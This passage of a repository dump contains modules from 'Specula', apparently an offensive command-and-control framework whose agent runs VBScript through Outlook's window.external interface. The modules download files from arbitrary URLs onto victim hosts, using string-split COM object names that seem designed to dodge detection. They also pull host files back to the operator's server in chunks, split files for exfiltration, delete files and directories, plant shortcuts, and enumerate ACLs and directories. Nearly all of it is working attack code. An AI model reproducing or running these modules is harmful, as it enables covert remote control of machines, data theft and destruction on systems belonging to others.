quotedstring\n        }\n        self.options['iconlocation'] = {\n            \"value\": \"%SystemRoot%\\System32\\SHELL32.dll,166\",\n            \"required\": False,\n            \"description\": \"Icon location for Shortcut i.e. c:\\\\folder\\\\file.ico\",\n            \"handler\": quotedstring\n        }\n        self.options['windowstyle'] = {\n            \"value\": \"minimized\",\n            \"required\": True,\n            \"description\": \"How to execute shortcut\",\n            \"validator\": ischoice,\n            \"validatorargs\": {'choices': ['minimized', 'normal', 'maximized']},\n            \"tab_complete\": tab_choice,\n            \"tab_args\": {'choices': ['minimized', 'normal', 'maximized']}\n        }\n        self.options['windowstyle_int'] = {\n            \"value\": 7,\n            \"required\": True,\n            \"description\": \"How to execute shortcut\",\n            \"handler\": makeint,\n            \"hidden\": True\n        }\n        self.options['workingdirectory'] = {\n            \"value\": \"\\\"\\\"\",\n            \"required\": False,\n            \"description\": \"Shortcut working directory i.e. c:\\\\folder\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n\n    def preprocess(self, agent):\n        if self.options['windowstyle']['value'] == \"minimized\":\n            self.options['windowstyle_int']['value'] = 7\n        if self.options['windowstyle']['value'] == \"normal\":\n            self.options['windowstyle_int']['value'] = 1\n        if self.options['windowstyle']['value'] == \"maximized\":\n            self.options['windowstyle_int']['value'] = 3"
  },
  {
    "path": "functions/operation/file/create_shortcut.txt",
    "content": "Function create_shortcut()\r\n    On error resume next\r\n    Set objShell = window.external.OutlookApplication.CreateObject(\"WScript.Shell\")\r\n    Set lnk = objShell.CreateShortcut({{file}})\r\n    lnk.TargetPath = {{targetpath}}\r\n    lnk.Arguments = {{arguments}}\r\n    lnk.Description = {{description}}\r\n    lnk.HotKey = {{hotkey}}\r\n    lnk.IconLocation = {{iconlocation}}\r\n    lnk.WindowStyle = {{windowstyle_int}}\r\n    lnk.WorkingDirectory = {{workingdirectory}}\r\n    lnk.Save\r\n    create_shortcut = \"Shortcut created at \" & {{file}}        \r\nEnd Function"
  },
  {
    "path": "functions/operation/file/delete_dir.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module will delete specified directory and all contents (all files and subfolders). \n        Specify folder path without trailing \\\\\n        \n        It uses Scripting.FileSystemObject\n        - DeleteFolder\n        - FolderExists\n        \"\"\"\n        self.entry = 'delete_dir'\n        self.depends = []\n        self.options['directory'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to directory that should be deleted. i.e. c:\\\\parent\\\\random_secret_folder\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/operation/file/delete_dir.txt",
    "content": "Function delete_dir()\n    On error resume next\n    Set fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\n\n    if fs.FolderExists({{directory}}) = True Then\n        fs.DeleteFolder {{directory}}, True\n        If fs.FolderExists({{directory}}) = False Then\n\t\t    delete_dir = \"Delete directory: \" & {{directory}} & \" - Success\"\n\t    else\n            delete_dir = \"Delete directory: \" & {{directory}} & \" - Failed\"\n\t    End If\n    else\n        delete_dir = {{directory}} & \" - Directory not found\"\n    End if\nEnd Function"
  },
  {
    "path": "functions/operation/file/delete_file.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module deletes the specified file in the file option.\n\n        It uses Scripting.FileSystemObject\n        - DeleteFile\n        - FileExists\n        \"\"\"\n        self.entry = 'delete_file'\n        self.depends = []\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to file to delete\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/file/delete_file.txt",
    "content": "Function delete_file()\r\n\tOn error resume next\r\n\tSet fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\r\n    If fs.FileExists({{file}}) = True Then\r\n        fs.DeleteFile {{file}}\r\n\tEnd If\r\n\r\n\tIf fs.FileExists({{file}}) = True Then\r\n\t\tdelete_file = delete_file & \"Delete file: \" & {{file}} & \" - Fail\"\r\n\telse\r\n\t\tdelete_file = delete_file & \"Delete file: \" & {{file}} & \" - Success!\"\r\n\tEnd If\r\nEnd Function"
  },
  {
    "path": "functions/operation/file/download_filehttp.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module is used to download from the specified url in the surl option and save it on the Specula agent.\n        You specify where you want the file to be stored in the destpath option. \n        It also supports AlternateDataStreams, meaning you can specify destpath as c:\\\\temp\\\\file.txt:nothere\n\n         It uses MSXML2.ServerXMLHTTP\n        - open\n        - send\n        - status\n        - ResponseBody\n\n        It used ADODB.STREAM\n        - Type\n        - open\n        - write\n        - savetofile\n        - close\n        \"\"\"\n        self.entry = 'download_filehttp'\n        self.depends = []\n        self.options['url'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"URL the agent will attempt to download this file from\",\n            \"handler\": quotedstring\n        }\n        self.options['destination'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"path on disk the agent will attempt to write the downloaded file to\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/file/download_filehttp.txt",
    "content": "Function download_filehttp()\r\n\tOn error resume next\r\n\tSet oHTTP = window.external.OutlookApplication.CreateObject(\"MSX\" & \"ML2.ServerXM\" & \"LHTTP\")\r\n\toHTTP.open \"GET\", {{url}}, False\r\n\toHTTP.send\r\n\tIf oHTTP.Status = 200 Then\r\n\t\tDim stream\r\n\t\tSet stream = window.external.OutlookApplication.CreateObject(\"ADO\" & \"DB.STR\" & \"EAM\")\r\n\t\tWith stream\r\n\t\t\t.Type = 1\r\n\t\t\t.Open\r\n\t\t\t.Write oHTTP.ResponseBody\r\n\t\t\t.SaveToFile {{destination}}\r\n\t\t\t.Close\r\n\t\tEnd With\r\n\t\tretval = \"Agent Downloaded file: \" & {{url}} & \" to \" & {{destination}} & \" - Success\"\r\n\tElse\r\n\t\tretval = \"Agent Downloaded file: \" & {{url}} & \" to \" & {{destination}} & \" - Failed!\"\r\n\tEnd If\r\n\t\r\n\tdownload_filehttp = retval\r\nEnd Function"
  },
  {
    "path": "functions/operation/file/get_file.py",
    "content": "import math\nimport copy\nimport traceback\nfrom lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\nfrom lib.validators.generic import isint\nfrom lib.core.utility import TaskClass\n\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module is used to download from the host and save it to the Specula server.\n        On bigger files it chunks it and downloads parts of the file between each checkin. \n        Default chunksize is set to 256K.\n\n        It uses Scripting.FileSystemObject\n        - Getfile\n        - OpenAsTextStream\n        - Read\n        - Close\n        \"\"\"\n        self.entry = 'get_file'\n        self.depends = []\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"File on host you want to download. Ex: C:\\\\folder\\\\file.txt\",\n            \"handler\": quotedstring\n        }\n        self.options['chunksize'] = {\n            \"value\": \"256000\",\n            \"required\": True,\n            \"description\": \"Size of chunk to pull each callback (in bytes) more then 256K may result in long running script errors\",\n            \"validator\": isint\n        }\n        self.options['destination'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"On disk location on your Specula server you would like this file to be downloaded to. Ex: /root/temp/file.txt\",\n            \"handler\": None,\n            \"tab_complete\": self.helpers.complete_path\n        }\n        super().__init__(templatepath)\n\n    def rethandler(self, agent, options, data):\n        if len(data) > 0: # we opened the file and got a size\n            try:\n                with open(options['destination']['value'], 'w') as fp: # create / overwrite the file\n                    pass\n                size = int(data) # force valueerror if our size is off\n                if size == 0:\n                    self.helpers.speclog(\"{}: Requested file {} is empty\".format(agent.hostname, options['file']['value']), output=True)\n                    return\n                DF = self.helpers.get_module('download_file', hidden=True) # module to download each chunk\n                DF.options['file']['value'] = quotedstring(options['file']['value'])\n                DF.options['startloc']['value'] = 0\n                DF.options['chunksize']['value'] = \\\n                    int(options['chunksize']['value']) if int(options['chunksize']['value']) < size else size\n                DF.options['destination']['value'] = options['destination']['value']\n                DF.options['totalsize']['value'] = size\n                if DF.options['chunksize']['value'] == DF.options['totalsize']['value']:\n                    DF.options['done']['value'] = True\n                task = TaskClass('download_file',\n                                 self.helpers.renderModule(DF, agent),\n                                 DF.entry,\n                                 copy.deepcopy(DF.options),\n                                 True,\n                                 'Download File part 1 / {}'.format(math.ceil(size / int(options['chunksize']['value']))),\n                                 printlog=False)\n                agent.add_task(task)\n            except Exception as msg:\n                traceback.print_exc()\n                self.helpers.speclog(\"{}: Failed to start file download : {}\".format(agent.hostname, msg), output=True)\n        else:\n            self.helpers.speclog(\"{}: Was not able to start downloading {}, could be missing, or permissions error\".format(agent.hostname, options['strFile']['value']),output=True)\n"
  },
  {
    "path": "functions/operation/file/get_file.txt",
    "content": "Function get_file()\r\n\tOn Error Resume Next\r\n\tSet fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\r\n\tSet file = fs.GetFile({{file}})\r\n\tif IsNull(file) Then Exit Function\r\n    get_file = file.size\r\nEnd Function"
  },
  {
    "path": "functions/operation/file/list_acl.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module lists the ACL for the specified file or folder in the Path option. \n\n        It uses WbemScripting.SWbemLocator:\n        - Query: Select * from win32_logicalFileSecuritySetting WHERE Path=\n        -- GetSecurityDescriptor        \n        \"\"\"\n        self.entry = 'list_acl'\n        self.depends = []\n        self.options['path'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to file or folder you want to see ACL's for\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n        "
  },
  {
    "path": "functions/operation/file/list_acl.txt",
    "content": "Function list_acl()\n    ' ACE Types\n\tConst ACCESS_ALLOWED_ACE_TYPE = &h0\n\tConst ACCESS_DENIED_ACE_TYPE  = &h1\n\n\t' Base Access Mask values\n\tConst FILE_READ_DATA = &h1\n\tConst FILE_WRITE_DATA = &h2\n\tConst FILE_APPEND_DATA = &h4\n\tConst FILE_READ_EA = &h8\n\tConst FILE_WRITE_EA = &h10\n\tConst FILE_EXECUTE = &h20\n\tConst FILE_DELETE_CHILD = &h40\n\tConst FILE_READ_ATTRIBUTES = &h80\n\tConst FILE_WRITE_ATTRIBUTES = &h100\n\tConst FOLDER_DELETE = &h10000\n\tConst READ_CONTROL = &h20000\n\tConst WRITE_DAC = &h40000\n\tConst WRITE_OWNER = &h80000\n\tConst SYNCHRONIZE = &h100000\n\n\t' Constructed Access Masks\n\tDim FULL_CONTROL\n\tFULL_CONTROL = FILE_READ_DATA + FILE_WRITE_DATA + FILE_APPEND_DATA + _\n\t\tFILE_READ_EA + FILE_WRITE_EA + FILE_EXECUTE + FILE_DELETE_CHILD + _\n\t\tFILE_READ_ATTRIBUTES + FILE_WRITE_ATTRIBUTES + FOLDER_DELETE + _\n\t\tREAD_CONTROL + WRITE_DAC + WRITE_OWNER + SYNCHRONIZE\n\n\tDim READ_ONLY\n\tREAD_ONLY = FILE_READ_DATA + FILE_READ_EA + FILE_EXECUTE + _\n\t\tFILE_READ_ATTRIBUTES + READ_CONTROL + SYNCHRONIZE\n\n\tDim MODIFY\n\tMODIFY = FILE_READ_DATA + FILE_WRITE_DATA + FILE_APPEND_DATA + _\n\t\tFILE_READ_EA + FILE_WRITE_EA + FILE_EXECUTE + _\n\t\tFILE_READ_ATTRIBUTES + _\n\t\tFILE_WRITE_ATTRIBUTES + FOLDER_DELETE + READ_CONTROL + SYNCHRONIZE\n\n\n\tDim strRights\n\tDim intAccessMask\n\n\tOn error resume next\n\tSet objLocator = window.external.OutlookApplication.CreateObject(\"WbemScripting.SWbemLocator\")\n\tSet objWMIService = objLocator.ConnectServer(\".\", \"root\\cimv2\")\n\t\n    toreturn = toreturn & \"Enumerating Permissions for: \" & {{path}} & vbCrLf\n\t\t\n    strDir = {{path}}\n    strDir = Replace(strDir,\"\\\",\"\\\\\")\n    Set colACLs = objWMIService.ExecQuery(\"Select * from win32_logicalFileSecuritySetting WHERE Path='\" & strDir & \"'\",,48)\n    for each objItem in colACLs\n        If objItem.GetSecurityDescriptor(objSD) Then\n            DisplayFileSecurity = False\n        End If\n\n        colACEs = objSD.DACL\n        for each objACE in colACEs\n            strAccessList = objACE.Trustee.Domain & \"\\\" & objACE.Trustee.Name\n\t\t\t\t\n            if left(strAccessList,1) = \"\\\" then\n                strAccessList = right(strAccessList,len(strAccessList) -1)\n            end if\n\n            toreturn = toreturn & \"    GROUP: \" & Ucase(strAccessList) & vbCrLf\n            toreturn = toreturn & vbTab & \"binPath: \" & Replace(strDir,\"\\\\\",\"\\\") & vbCrLf\n\n            if objACE.AceType = 0 Then\n                toreturn = toreturn & vbTab & \"Sanity Check - Access Mask Value To Match: \" & objACE.AccessMask & vbCrLf\n\t\t\t\t\t\t\t\n                If objACE.ACEType = ACCESS_ALLOWED_ACE_TYPE Then\n                    toreturn = toreturn & vbTab & \"  ACE Type: Allow\" & vbCrLf\n                Else\n                    toreturn = toreturn & vbTab & \"  ACE Type: Deny\" & vbCrLf\n                End If\n\n                strRights = \"\"\n                intAccessMask = objACE.AccessMask\n\n                If intAccessMask = FULL_CONTROL Then\n                    strRights = \" (FullControl)\"\n                ElseIf intAccessMask = MODIFY Then\n\n                    strRights = \" (Modify)\"\n                ElseIf intAccessMask = READ_ONLY Then\n                    strRights = \" (ReadOnly)\"\n                End If\n\n                toreturn = toreturn & vbTab & \"  Access Mask (Decimal): \" & intAccessMask & strRights & vbCrLf\n            elseif objACE.AceType = 1 Then\n                toreturn = toreturn & vbTab & \"User does not have access - \" & objACE.AceType & vbCrLf\n            end if\n        Next   \n    Next\n\tlist_acl = toreturn & vbCrLf\nEnd Function\n"
  },
  {
    "path": "functions/operation/file/list_dir.py",
    "content": "from lib.core.specmodule import SpecModule\r\nfrom lib.modhandlers.generic import quotedstring,makebool,makeint\r\nfrom lib.validators.generic import ischoice\r\nfrom lib.tab_completers.generic import tab_choice\r\n\r\nclass Spec(SpecModule):\r\n    def __init__(self, templatepath, helpers):\r\n        self.options = {}\r\n        self.helpers = helpers\r\n        self.help = \"\"\"\r\n        !WARNING - Recursing over to many files and folder might show NOT RESPONDING IN OUTLOOK. Make sure to not go too deep in recurselevels. \r\n        \r\n        This module lists the directory you specify in the folderpath option.\r\n        You can specify to recurse or not by setting the numbers of recurselevels, meaning it will list all directories under the specified folder.\r\n        \r\n        You can also specify filetype or filename to search for if you want. \r\n        Example <set filetype xml> and <set filename unattend> to search for <unattend.xml>\r\n\r\n        The folderpath supports both C:\\\\windows\\\\ path or \\\\\\\\server.customer.intra\\\\share\\\\folder\r\n\r\n        Also, remember that Outlook often runs in 32 bit so it will redirect to syswow64 if you use system32. \r\n        Instead use sysnative - c:\\\\windows\\\\sysnative\\\\GroupPolicy\r\n\r\n        If you want to list directory structure in a directory set recurselevels to 1 or 2, nodir to False and nofiles to True.\r\n\r\n        It uses Scripting.FileSystemObject\r\n        - GetFolder\r\n        - GetFolder().Files\r\n        - GetBaseName\r\n        - GetExtensionName\r\n        - Path\r\n\r\n        \"\"\"\r\n        self.entry = 'list_dir'\r\n        self.depends = ['./helperFunctions/dir_lister.txt']\r\n        self.options['directory'] = {\r\n            \"value\": None,\r\n            \"required\": True,\r\n            \"description\": \"Directory to list - Does not matter if you include a \\ in the end or not\",\r\n            \"handler\": quotedstring\r\n        }\r\n        self.options['recurselevels'] = {\r\n            \"value\": \"0\",\r\n            \"required\": True,\r\n            \"description\": \"Number of folder levels to recurse (0 = folderpath\\, 1 = folderpath\\sub , 2 = folderpath\\sub\\sub and so on) - Default is root of the folder you specify (0)\",\r\n            \"handler\": makeint,\r\n        }\r\n        self.options['depth'] = {\r\n            \"value\": \"0\",\r\n            \"required\": True,\r\n            \"hidden\": True,\r\n            \"description\": \"Not any reason to change this - only used for output purpose and place holder for variable\",\r\n            \"handler\": makeint\r\n        }\r\n        self.options['filetype'] = {\r\n            \"value\": \"*\",\r\n            \"required\": True,\r\n            \"description\": \"File type you want to list out - ex: exe or xml. To list out all, set it to * (default)\",\r\n            \"handler\": quotedstring\r\n        }\r\n        self.options['filename'] = {\r\n            \"value\": \"*\",\r\n            \"required\": True,\r\n            \"description\": \"File name you want to list out - ex: notepad or secret. To list out all, set it to * (default)\",\r\n            \"handler\": quotedstring\r\n        }\r\n        self.options['nodirectories'] = {\r\n            \"value\": \"False\",\r\n            \"required\": True,\r\n            \"description\": \"Set to True if you not want directories in the output\",\r\n            \"handler\": makebool,\r\n            \"validator\": ischoice,\r\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\r\n            \"tab_complete\": tab_choice,\r\n            \"tab_args\": {'choices': [\"False\", \"True\"]}  \r\n        }\r\n        self.options['nofiles'] = {\r\n            \"value\": \"False\",\r\n            \"required\": True,\r\n            \"description\": \"Set to True if you not want files in the output\",\r\n            \"handler\": makebool,\r\n            \"validator\": ischoice,\r\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\r\n            \"tab_complete\": tab_choice,\r\n            \"tab_args\": {'choices': [\"False\", \"True\"]}  \r\n        }\r\n        self.options['sizeformat'] = {\r\n            \"value\": \"mb\",\r\n            \"required\": True,\r\n            \"description\": \"Size format of files in output\",\r\n            \"handler\": quotedstring,\r\n            \"tab_complete\": tab_choice,\r\n            \"tab_args\": {'choices': [\"kb\", \"mb\", \"gb\", \"tb\"]}  \r\n        }\r\n        self.options['output_console'] = {\r\n            \"value\": \"False\",\r\n            \"required\": True,\r\n            \"description\": \"If True, it will show the output in the console\",\r\n            \"hidden\": True,\r\n            \"handler\": makebool,\r\n            \"validator\": ischoice,\r\n            \"validatorargs\": {'choices': [\"False\", \"True\"]},\r\n            \"tab_complete\": tab_choice,\r\n            \"tab_args\": {'choices': [\"False\", \"True\"]}  \r\n        }\r\n        super().__init__(templatepath)\r\n\r\n    def rethandler(self, agent, options, data):\r\n        if options['output_console']['value'] == \"True\":\r\n            print(\"\\n\")\r\n            print(data)\r\n\r\n        \r\n            "
  },
  {
    "path": "functions/operation/file/list_dir.txt",
    "content": "Function list_dir()\r\n\tOn error resume next\r\n    list_dir = dir_lister({{directory}}, {{depth}}, {{recurselevels}}, {{filetype}}, {{filename}}, {{nodirectories}}, {{sizeformat}}, {{nofiles}})\r\nEnd Function"
  },
  {
    "path": "functions/operation/file/list_shortcutinfo.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        Lists details about specified shortcut\n\n        It uses WScript.Shell.CreateShortcut\n        \"\"\"\n        self.entry = 'list_shortcutinfo'\n        self.depends = []\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path to shortcut file you want to list info about\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/file/list_shortcutinfo.txt",
    "content": "Function list_shortcutinfo()\r\n    On error resume next\r\n    Set objShell = window.external.OutlookApplication.CreateObject(\"WScript.Shell\")\r\n    Set lnk = objShell.CreateShortcut({{file}})\r\n    list_shortcutinfo = \"Fullname:\" & lnk.fullname & vbCrLF\r\n    list_shortcutinfo = list_shortcutinfo & \"Arguments: \" & lnk.arguments & vbCrLF\r\n    list_shortcutinfo = list_shortcutinfo & \"Description: \" & lnk.description & vbCrLF\r\n    list_shortcutinfo = list_shortcutinfo & \"Hotkey: \" & lnk.hotkey & vbCrLF\r\n    list_shortcutinfo = list_shortcutinfo & \"IconLocation: \" & lnk.iconlocation & vbCrLF\r\n    list_shortcutinfo = list_shortcutinfo & \"RelativePath: \" & lnk.relativepath & vbCrLF\r\n    list_shortcutinfo = list_shortcutinfo & \"TargetPath: \" & lnk.TargetPath & vbCrLF\r\n    list_shortcutinfo = list_shortcutinfo & \"WindowStyle: \" & lnk.windowstyle & vbCrLF\r\n    list_shortcutinfo = list_shortcutinfo & \"WorkingDirectory: \" & lnk.workingdirectory & vbCrLF\r\nEnd Function"
  },
  {
    "path": "functions/operation/file/move_file.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module will move a file. This can also be used to rename a file.\n        \n        It uses Scripting.FileSystemObject\n        - MoveFile\n        - FileExists\n        \"\"\"\n        self.entry = 'move_file'\n        self.depends = []\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path and filename of source file. i.e. c:\\\\foo.txt.\",\n            \"handler\": quotedstring\n        }\n        self.options['destination'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Path and filename of destination file. i.e. c:\\\\bar.txt.\",\n            \"handler\": quotedstring\n        }\n        super().__init__(templatepath)"
  },
  {
    "path": "functions/operation/file/move_file.txt",
    "content": "Function move_file()\n    On error resume next\n    Set fs = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\n    if fs.FileExists({{file}}) Then\n        fs.MoveFile {{file}}, {{destination}}\n        move_file = \"Move File: \" & {{file}} & \" to \" & {{destination}}\n    else\n        move_file = \"Move File: File Does Exist Exist: \" & {{file}}\n    End If\nEnd Function"
  },
  {
    "path": "functions/operation/file/put_file.py",
    "content": "import math\nimport copy\nimport os\nimport traceback\nfrom lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import makeint, quotedstring\nfrom lib.core.utility import TaskClass\nfrom datetime import datetime\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.entry = 'put_file'\n        self.depends = []\n        self.help = \"\"\"\n        This module will upload file from the Specula server to the agent. \n        It will convert the data to hex and divide it into chunks before appending\n        to the file on the agent that you specify with the destination option. \n        It will create a series of tasks (one for each chunk of the file).\n        Once the file has been uploaded it will compare the size on the server with the uploaded file to verify that they match.\n        When the entire task is complete it will output it to the prompt.\n\n        It uses Scripting.FileSystemObject\n        - OpenTextFile\n        - OpenTextFile().Write\n        - OpenTextFile().Close\n        \"\"\"\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"File on Specula server we are uploading\",\n            \"tab_complete\": self.helpers.complete_path,\n            \"handler\": None            \n        }\n        self.options['chunksize'] = {\n            \"value\": 50048,\n            \"required\": True,\n            \"description\": \"Default option seems to be working good. Size (50048 == 25KB) upload per callback\",\n            \"handler\": makeint\n        }\n        self.options['destination'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"File on agent we are writing this to\",\n            \"handler\": quotedstring\n        }\n        self.options['data'] = {\n            \"value\": None,\n            \"required\": False,\n            \"description\": \"Placeholder for the hex data of the file\",\n            \"handler\": None,\n            \"handler\": quotedstring,\n            \"hidden\": True\n        }\n        super().__init__(templatepath)\n\n    def preprocess(self, agent):\n        try:\n            chunksize = int(self.options['chunksize']['value'])\n            with open(self.options['file']['value'], \"rb\") as a_file:\n                hexdata = a_file.read().hex()\n                size = len(hexdata)\n                self.options['data']['value'] = hexdata\n                if size == 0:\n                    self.helpers.speclog(\"{}: Requested file {} is empty\".format(agent.hostname, self.options['strFile']['value']), output=True)\n                    return\n            startposition = 0\n            filepart = 1\n            remainingdata = len(hexdata)\n            while remainingdata > 0:\n                UF = self.helpers.get_module('upload_file', hidden=True) # module to upload each chunk\n                UF.options['file']['value'] = self.options['file']['value']\n                UF.options['chunksize']['value'] = chunksize\n                UF.options['destination']['value'] = self.options['destination']['value']\n                if remainingdata < chunksize:\n                    UF.options['data']['value'] = hexdata[startposition:startposition+remainingdata]\n                    UF.options['chunksize']['value'] = remainingdata\n                    remainingdata = remainingdata-remainingdata\n                else:                        \n                    UF.options['data']['value'] = hexdata[startposition:startposition+chunksize]\n                    remainingdata = remainingdata-chunksize\n                \n                task = TaskClass('upload_file',\n                    self.helpers.renderModule(UF, agent),\n                    UF.entry,\n                    copy.deepcopy(UF.options),\n                    True,\n                    'Upload File part {} / {}'.format(filepart, math.ceil(int(size) / int(chunksize))),\n                    printlog=False)\n                agent.add_task(task)\n                startposition = startposition + chunksize\n                filepart = filepart+1\n        except Exception as msg:\n                traceback.print_exc()\n                self.helpers.speclog(\"{}: Failed to start file upload : {}\".format(agent.hostname, msg), output=True)\n    \n    def rethandler(self, agent, options, data):\n        if int(data) == int(os.path.getsize(options['file']['value'])):\n            self.helpers.speclog(\"Finished uploading file to {} at {} - Sizes match: server:{} - agent:{}\".format(agent.hostname,options['destination']['value'],str(os.path.getsize(options['file']['value'])),str(data)),output=True)\n            with open(\"agent_data/\" + agent.hostname + \".txt\", \"a+\") as agent_log:  # A quick and dirty method to get data written to the agent log\n                agent_log.write(datetime.now().strftime(self.helpers.timeformat) + \" -- \" + self.entry + \"\\n\")\n                agent_log.write(\"Uploaded file {} to {}\".format(options['file']['value'], options['destination']['value']) + \"\\n\\n\")\n        else:\n            self.helpers.speclog(\"WARNING - Finished uploading file to {} at {} - Sizes are different: server:{} - agent:{}\".format(\n                agent.hostname,\n                options['destination']['value'],\n                int(os.path.getsize(options['file']['value'])),\n                int(data)),\n                output=True)\n"
  },
  {
    "path": "functions/operation/file/put_file.txt",
    "content": "Function put_file()\n\tSet fso = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\n\tSet File = fso.GetFile({{destination}})\n    put_file = File.size\nEnd Function"
  },
  {
    "path": "functions/operation/file/split_file.py",
    "content": "from lib.core.specmodule import SpecModule\nfrom lib.modhandlers.generic import quotedstring,makeint\nfrom lib.validators.generic import isint\n\nclass Spec(SpecModule):\n    def __init__(self, templatepath, helpers):\n        self.options = {}\n        self.helpers = helpers\n        self.help = \"\"\"\n        This module will split the file into smaller pieces.\n        Join the files back togheter with the command: copy /b c:\\\\temp\\\\filesbasename* exfile.zip\n\n        You specify the file you want to split using the file option. \n        You specify the size per file you want in the splitsize option.\n        You specify the directory you want the splitted files to be stored using the directory option.\n        You specify the basename to use for the splitted files with the basename_split_files option.\n        \n        It uses Scripting.FileSystemObject\n        - GetFile\n        - FileExists\n        - FolderExists\n        - GetAbsolutePathName\n        - BuildPath\n        - CreateFolder\n        - CreateTextFile\n\n        \"\"\"\n        self.entry = 'split_file'\n        self.depends = []\n        self.options['file'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Target path of file to split and exfiltrate\",\n            \"handler\": quotedstring\n        }\n        self.options['splitsize'] = {\n            \"value\": \"8\",\n            \"required\": True,\n            \"description\": \"Size in MB you want file to split into - default is 8MB\",\n            \"handler\": quotedstring,\n            \"validator\": isint\n        }\n        self.options['directory'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Directory for splitted files, directory will get created if does not exist - Ex: c:\\\\temp\\\\outfolder\",\n            \"handler\": quotedstring\n        }\n        self.options['basename_split_files'] = {\n            \"value\": None,\n            \"required\": True,\n            \"description\": \"Basename to use for the splitted files\",\n            \"handler\": quotedstring,\n        }\n        super().__init__(templatepath)\n"
  },
  {
    "path": "functions/operation/file/split_file.txt",
    "content": "Function split_file()\r\n\ton error resume next\r\n\tSet oFSO = window.external.OutlookApplication.CreateObject(\"Scripting.FileSystemObject\")\r\n\tFullName = {{ file }} \r\n\tTargetDir = {{ directory }}\r\n\t\r\n\tName = {{ basename_split_files }}\r\n\tSplitSize = {{ splitsize }}\r\n\tSize = 1024 * 1024 * SplitSize\r\n\r\n\tif oFSO.FileExists(FullName) then\r\n  \t\tOn Error Resume Next\r\n\t\tSet iFile = oFSO.GetFile(FullName)\r\n  \t\tSet iStream = iFile.OpenAsTextStream(1)\r\n  \t\t\r\n  \t\tdata = iStream.Read(iFile.Size)\r\n  \t\tiStream.close\r\n  \r\n  \t\tExt = 0\r\n  \t\toffset = 1\r\n\r\n\t\tIf Not oFSO.FolderExists(TargetDir) Then\r\n\t    \tstrDir = oFSO.GetAbsolutePathName(TargetDir)\r\n    \t\t\r\n\t\t\t'Split a multi level path in its \"components\"\r\n    \t\tarrDirs = Split( strDir, \"\\\" )\r\n\r\n    \t\t'Absolute path is UNC or not\r\n    \t\tIf Left( strDir, 2 ) = \"\\\\\" Then\r\n        \t\tstrDirBuild = \"\\\\\" & arrDirs(2) & \"\\\" & arrDirs(3) & \"\\\"\r\n        \t\tidxFirst    = 4\r\n    \t\tElse\r\n        \t\tstrDirBuild = arrDirs(0) & \"\\\"\r\n        \t\tidxFirst    = 1\r\n    \t\tEnd If\r\n\r\n    \t\t'Check each (sub)folder and create it if it doesn't exist\r\n    \t\tFor i = idxFirst to Ubound( arrDirs )\r\n        \t\tstrDirBuild = oFSO.BuildPath( strDirBuild, arrDirs(i) )\r\n        \t\tIf Not oFSO.FolderExists( strDirBuild ) Then\r\n            \t\toFSO.CreateFolder strDirBuild\r\n\t\t\t\t\tsplit_file = split_file & \"Created Folder: \" & strDirBuild & vbCrLf\r\n\t\t\t\tEnd if\r\n    \t\tNext\r\n\t\tend if\r\n\r\n  \t\tDo\r\n    